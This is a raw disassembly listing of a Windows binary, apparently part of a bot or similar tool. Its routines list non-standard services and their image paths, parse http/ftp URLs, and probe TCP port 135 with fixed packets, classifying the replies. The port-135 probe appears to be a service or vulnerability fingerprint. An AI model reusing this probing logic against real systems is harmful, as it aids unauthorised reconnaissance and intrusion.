var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_430		= byte ptr -430h
var_41C		= byte ptr -41Ch
var_408		= byte ptr -408h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4207E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50Ch
		push	ebx
		push	ebp
		xor	ebx, ebx
		push	80000000h
		push	ebx
		push	ebx
		nop
		call	near ptr 2900000h
		mov	ebp, eax
		cmp	ebp, ebx
		mov	[esp+520h+var_500], ebp
		jnz	short loc_42082F
		pop	ebp
		xor	al, al
		pop	ebx
		mov	ecx, [esp+518h+var_C]
		mov	large fs:0, ecx
		add	esp, 518h
		retn
; ---------------------------------------------------------------------------


loc_42082F:				; CODE XREF: sub_4207E0+34j
		push	esi
		push	edi
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
		mov	[esp+528h+var_4E0], offset aBrowser ; "Browser"
		mov	[esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
		mov	[esp+528h+var_4D8], offset aDhcp ; "Dhcp"
		mov	[esp+528h+var_4D4], offset aDmserver ; "dmserver"
		mov	[esp+528h+var_4D0], offset aDnscache ; "Dnscache"
		mov	[esp+528h+var_4CC], offset aErsvc ; "ERSvc"
		mov	[esp+528h+var_4C8], offset aEventlog ; "Eventlog"
		mov	[esp+528h+var_4C4], offset aEventsystem	; "EventSystem"
		mov	[esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
		mov	[esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
		mov	[esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
		mov	[esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
		mov	[esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
		mov	[esp+528h+var_4AC], offset off_44432C
		mov	[esp+528h+var_4A8], offset aMessenger ;	"Messenger"
		mov	[esp+528h+var_4A4], offset aNetman ; "Netman"
		mov	[esp+528h+var_4A0], offset off_444314
		mov	[esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
		mov	[esp+528h+var_498], offset aPolicyagent	; "PolicyAgent"
		mov	[esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
		mov	[esp+528h+var_490], offset aRasman ; "RasMan"
		mov	[esp+528h+var_48C], offset aRpcss ; "RpcSs"
		mov	[esp+528h+var_488], offset aSamss ; "SamSs"
		mov	[esp+528h+var_484], offset aSchedule ; "Schedule"
		mov	[esp+528h+var_480], offset aSeclogon ; "seclogon"
		mov	[esp+528h+var_47C], offset aSens ; "SENS"
		mov	[esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
		mov	[esp+528h+var_474], offset aSpooler ; "Spooler"
		mov	[esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
		mov	[esp+528h+var_46C], offset aStisvc ; "stisvc"
		mov	[esp+528h+var_468], offset aTapisrv ; "TapiSrv"
		mov	[esp+528h+var_464], offset aTermservice	; "TermService"
		mov	[esp+528h+var_460], offset aTrkwks ; "TrkWks"
		mov	[esp+528h+var_45C], offset aUploadmgr ;	"uploadmgr"
		mov	[esp+528h+var_458], offset aUpnphost ; "upnphost"
		mov	[esp+528h+var_454], offset aW32time ; "W32Time"
		mov	[esp+528h+var_450], offset aWebclient ;	"WebClient"
		mov	[esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
		mov	[esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
		mov	[esp+528h+var_444], offset aWuauserv ; "wuauserv"
		mov	[esp+528h+var_440], offset aSrservice ;	"srservice"
		mov	[esp+528h+var_43C], offset aThemes ; "Themes"
		mov	[esp+528h+var_438], ebx
		mov	[esp+528h+var_510], ebx
		call	sub_401424
		lea	eax, [esp+528h+var_510]
		lea	ecx, [esp+528h+var_514]
		mov	esi, dword_50F710
		push	eax
		lea	edx, [esp+52Ch+var_518]
		push	ecx
		push	edx
		lea	eax, [esp+534h+var_41C]
		push	ebx
		push	eax
		push	1
		push	30h
		push	ebp
		mov	[esp+548h+var_4], ebx
		mov	[esp+548h+var_50C], ebx
		mov	[esp+548h+var_504], 80h
		call	esi
		mov	ecx, [esp+524h+var_514]
		push	ecx
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		mov	edi, eax
		lea	edx, [esp+524h+var_50C]
		lea	eax, [esp+524h+var_510]
		push	edx
		mov	edx, [esp+528h+var_514]
		lea	ecx, [esp+528h+var_514]
		push	eax
		push	ecx
		push	edx
		push	edi
		push	1
		push	30h
		push	ebp
		call	esi
		mov	eax, [esp+524h+var_510]
		mov	[esp+524h+var_504], ebx
		cmp	eax, ebx
		jbe	loc_420B8F
		mov	ebp, dword_50F75C


loc_420A6B:				; CODE XREF: sub_4207E0+3A5j
		mov	eax, offset aAudiosrv ;	"AudioSrv"
		test	eax, eax
		jz	short loc_420A97
		lea	esi, [esp+524h+var_4E0]


loc_420A78:				; CODE XREF: sub_4207E0+2B5j
		mov	ecx, [edi]
		push	ecx
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		test	eax, eax
		jz	loc_420B73
		mov	eax, [esi+4]
		add	esi, 4
		cmp	eax, ebx
		jnz	short loc_420A78


loc_420A97:				; CODE XREF: sub_4207E0+292j
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+524h+var_508]
		push	ecx
		push	20019h
		push	ebx
		lea	ecx, [esp+530h+var_4F8]
		call	sub_401681
		push	eax
		push	80000002h
		call	ebp
		cmp	eax, ebx
		jz	short loc_420AE3
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420B3A
; ---------------------------------------------------------------------------


loc_420AE3:				; CODE XREF: sub_4207E0+2EAj
		mov	eax, [esp+524h+var_508]
		lea	ecx, [esp+524h+var_500]
		lea	edx, [esp+524h+var_408]
		push	ecx
		push	edx
		push	ebx
		push	ebx
		push	offset aImagepath ; "ImagePath"
		push	eax
		nop
		call	near ptr 28D0000h
		cmp	eax, ebx
		jz	short loc_420B1D
		mov	ecx, [edi]
		lea	edx, [esp+524h+var_4F8]
		push	ecx
		push	offset aS????_exe ; "[%s] [????.exe]"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420B3A
; ---------------------------------------------------------------------------


loc_420B1D:				; CODE XREF: sub_4207E0+324j
		mov	ecx, [edi]
		lea	eax, [esp+524h+var_408]
		push	eax
		push	ecx
		lea	edx, [esp+52Ch+var_4F8]
		push	offset aSS	; "[%s]	[%s]"
		push	edx
		call	sub_40102D
		add	esp, 10h


loc_420B3A:				; CODE XREF: sub_4207E0+301j
					; sub_4207E0+33Bj
		lea	eax, [esp+524h+var_4F8]
		lea	ecx, [esp+524h+var_430]
		push	eax
		call	sub_4014C9
		mov	ecx, [esp+524h+arg_4]
		push	eax
		mov	byte ptr [esp+528h], 1
		call	sub_401325
; ---------------------------------------------------------------------------
		lea	ecx, [esp+524h+var_430]
		mov	[esp+524h], bl
		call	sub_401226


loc_420B73:				; CODE XREF: sub_4207E0+2A7j
		mov	eax, [esp+524h+var_504]
		mov	ecx, [esp+524h+var_510]
		inc	eax
		add	edi, 24h
		cmp	eax, ecx
		mov	[esp+524h+var_504], eax
		jb	loc_420A6B
		mov	ebp, [esp+524h+var_4FC]


loc_420B8F:				; CODE XREF: sub_4207E0+27Fj
		push	ebp
		call	near ptr 2900668h
		nop
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+528h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 518h
		retn
sub_4207E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420CD0	proc near		; CODE XREF: sub_4015EBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		push	esi
		push	0
		nop
		call	near ptr 2871CFFh
		push	eax
		nop
		call	near ptr 2871176h
		mov	eax, esi
		pop	esi
		retn
sub_420CD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D00	proc near		; CODE XREF: sub_401A28j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+arg_4], eax
		femms
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+var_4]
		cmp	ecx, 2
		js	short loc_420D39


loc_420D22:				; CODE XREF: sub_420D00+32j
		xor	eax, eax
		mov	ax, [edx]
		add	ebx, eax
		sub	ecx, 2
		add	edx, 2
		cmp	ecx, 1
		jg	short loc_420D22
		cmp	ecx, 0
		jz	short loc_420D4A


loc_420D39:				; CODE XREF: sub_420D00+20j
					; sub_420D00+48j
		xor	eax, eax
		mov	al, [edx]
		add	ebx, eax
		sub	ecx, 1
		add	edx, 1
		cmp	ecx, 0
		jg	short loc_420D39


loc_420D4A:				; CODE XREF: sub_420D00+37j
		mov	[ebp+var_4], ebx
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ebx, [ebp+var_4]
		and	ebx, 0FFFFh
		add	eax, ebx
		mov	ebx, eax
		shr	ebx, 10h
		add	eax, ebx
		mov	[ebp+var_4], eax
		femms
		mov	eax, [ebp+var_4]
		pop	ebx
		not	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_420D00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420DA0:				; CODE XREF: ___:00401019j
		mov	eax, [esp+4]
		mov	dword_50BB54, eax
		mov	eax, offset dword_50BB54
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420DC0:				; CODE XREF: ___:00401771j
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10h]
		push	edi
		mov	edi, dword_50FAA0
		push	esi
		call	edi	; ftell
		mov	ebp, dword_50FA98
		push	2
		push	0
		push	esi
		mov	ebx, eax
		call	ebp	; fseek
		push	esi
		call	edi	; ftell
		push	0
		push	ebx
		push	esi
		mov	edi, eax
		call	ebp	; fseek
		add	esp, 20h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420E10	proc near		; CODE XREF: sub_401938j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420E10
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	esi
		mov	esi, [esp+8Ch+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_420E3F
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420E3F:				; CODE XREF: sub_420E10+26j
		lea	ecx, [esp+90h+var_84]
		call	sub_401424
		push	esi
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], ebx
		call	sub_4015D7
		push	offset asc_443C84 ; ":"
		lea	eax, [esp+94h+var_54]
		push	ebx
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		mov	esi, [esp+90h+arg_4]
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_401FBE
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420ECF
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420ECF
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420ECF:				; CODE XREF: sub_420E10+92j
					; sub_420E10+A2j
		push	offset asc_444400 ; "/"
		lea	ecx, [esp+94h+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	40h
		mov	ecx, eax
		mov	byte ptr [esp+94h+var_4], 2
		call	sub_401D20
		lea	ecx, [esp+90h+var_54]
		mov	edi, eax
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		push	offset asc_444400 ; "/"
		push	1
		jz	loc_42120C
		lea	edx, [esp+98h+var_24]
		lea	ecx, [esp+98h+var_84]
		push	edx
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+94h+var_54]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 4
		call	sub_4016AE
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 5
		call	sub_401FBE
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F60
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_420FC9
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420FC9:				; CODE XREF: sub_420E10+19Cj
		push	offset asc_444400 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 6
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 7
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 8
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421095
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42107E
		mov	dword ptr [esi+54h], 50h


loc_42107E:				; CODE XREF: sub_420E10+265j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421095
		mov	dword ptr [esi+54h], 15h


loc_421095:				; CODE XREF: sub_420E10+255j
					; sub_420E10+27Cj
		push	offset asc_444400 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 9
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+94h+var_24]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_4016AE
		lea	edi, [esi+2Ah]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F60
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42114E
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_42114E:				; CODE XREF: sub_420E10+321j
		push	offset asc_444400 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ch
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Dh
		call	sub_4016AE
		lea	edi, [esi+3Fh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Eh
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Dh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F60
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_421333
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_42120C:				; CODE XREF: sub_420E10+100j
		lea	eax, [esp+98h+var_3C]
		lea	ecx, [esp+98h+var_84]
		push	eax
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Fh
		call	sub_4016AE
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 10h
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Fh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F60
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421293
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_421293:				; CODE XREF: sub_420E10+466j
		push	offset asc_444400 ; "/"
		lea	edx, [esp+94h+var_3C]
		push	1
		push	edx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 11h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 12h
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 11h
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421333
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42131C
		mov	dword ptr [esi+54h], 50h


loc_42131C:				; CODE XREF: sub_420E10+503j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421333
		mov	dword ptr [esi+54h], 15h


loc_421333:				; CODE XREF: sub_420E10+3DBj
					; sub_420E10+4F3j ...
		push	offset asc_444400 ; "/"
		lea	ecx, [esp+94h+var_84]
		call	sub_4013E3
		lea	edx, [esp+90h+var_6C]
		push	eax
		push	edx
		lea	ecx, [esp+98h+var_84]
		call	sub_401E2E
		push	offset asc_444400 ; "/"
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 13h
		call	sub_4013E3
		push	eax
		lea	eax, [esp+94h+var_24]
		push	eax
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 14h
		call	sub_40200E
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		push	offset asc_444400 ; "/"
		lea	ecx, [esp+94h+var_6C]
		call	sub_4013E3
		lea	ecx, [esp+90h+var_24]
		push	eax
		push	ecx
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 15h
		call	sub_40200E
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		add	esi, 58h
		push	offset asc_444400 ; "/"
		mov	ecx, esi
		call	sub_4015D7
		lea	edx, [esp+90h+var_6C]
		mov	ecx, esi
		push	edx
		call	sub_4016BD
		lea	ecx, [esp+90h+var_6C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_421419:				; CODE XREF: sub_420E10+2Aj
					; sub_420E10+BAj ...
		mov	ecx, [esp+90h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn
sub_420E10	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 190h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4215D0	proc near		; CODE XREF: sub_401AEBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_4]
		push	ebx
		mov	ebx, [esp+4+arg_C]
		push	ebp
		sub	edx, ebx
		xor	eax, eax
		push	esi
		push	edi
		test	edx, edx
		jle	short loc_4215FB


loc_4215E4:				; CODE XREF: sub_4215D0+29j
		mov	esi, [esp+10h+arg_0]
		mov	edi, [esp+10h+arg_8]
		add	esi, eax
		mov	ecx, ebx
		xor	ebp, ebp
		repe cmpsb
		jz	short loc_421602
		inc	eax
		cmp	eax, edx
		jl	short loc_4215E4


loc_4215FB:				; CODE XREF: sub_4215D0+12j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_421602:				; CODE XREF: sub_4215D0+24j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
sub_4215D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421620:				; CODE XREF: ___:0040209Aj
		mov	eax, 2010h
		call	sub_436840
		mov	eax, [esp+2018h]
		push	ebp
		push	esi
		dec	eax
		push	edi
		jz	short loc_42166D
		dec	eax
		jz	short loc_421647
		dec	eax
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421647:				; CODE XREF: ___:00421638j
		mov	eax, [esp+2020h]
		push	1388h
		push	eax
		call	sub_402004
		add	esp, 8
		neg	al
		sbb	eax, eax
		pop	edi
		pop	esi
		and	eax, 3
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: ___:00421635j
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_4217C9
		cmp	esi, 0FFFFFFFFh
		jz	loc_4217C9
		xor	ecx, ecx
		push	87h
		mov	[esp+10h], ecx
		mov	word ptr [esp+10h], 2
		mov	[esp+14h], ecx
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esp+2020h]
		mov	[esp+0Eh], ax
		push	edx
		call	sub_40187F
		add	esp, 4
		mov	[esp+10h], eax
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		mov	ebp, dword_50FC8C
		push	0
		push	48h
		push	offset dword_443DC8
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		mov	edi, dword_50FC90
		push	0
		lea	ecx, [esp+20h]
		push	2000h
		push	ecx
		push	esi
		call	edi	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		cmp	byte ptr [esp+1Eh], 0Ch
		jnz	loc_4217C2
		push	0
		push	18h
		push	offset dword_443E3C
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		push	0
		lea	edx, [esp+20h]
		push	2000h
		push	edx
		push	esi
		call	edi	; recv
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4217C2
		cmp	byte ptr [esp+1Eh], 2
		jnz	short loc_4217C2
		push	10h
		push	offset loc_443E14
		lea	eax, [esp+24h]
		push	edi
		push	eax
		call	sub_401AEB
		add	esp, 10h
		test	al, al
		jz	short loc_421791
		xor	ecx, ecx
		cmp	edi, 12Ch
		setnl	cl
		inc	ecx
		push	esi
		mov	edi, ecx
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421791:				; CODE XREF: ___:0042176Ej
		push	10h
		push	offset dword_443E28
		lea	edx, [esp+24h]
		push	edi
		push	edx
		call	sub_401AEB
		add	esp, 10h
		neg	al
		sbb	eax, eax
		push	esi
		and	eax, 3
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_4217C2:				; CODE XREF: ___:004216DBj
					; ___:004216F6j ...
		push	esi
		nop
		call	near ptr 71AB9639h


loc_4217C9:				; CODE XREF: ___:0042167Ej
					; ___:00421687j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421850:				; CODE XREF: ___:00401A00j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421870	proc near		; CODE XREF: sub_40120Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401311
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010E6
sub_421870	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4218B0	proc near		; CODE XREF: sub_4018D9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401901
sub_4218B0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
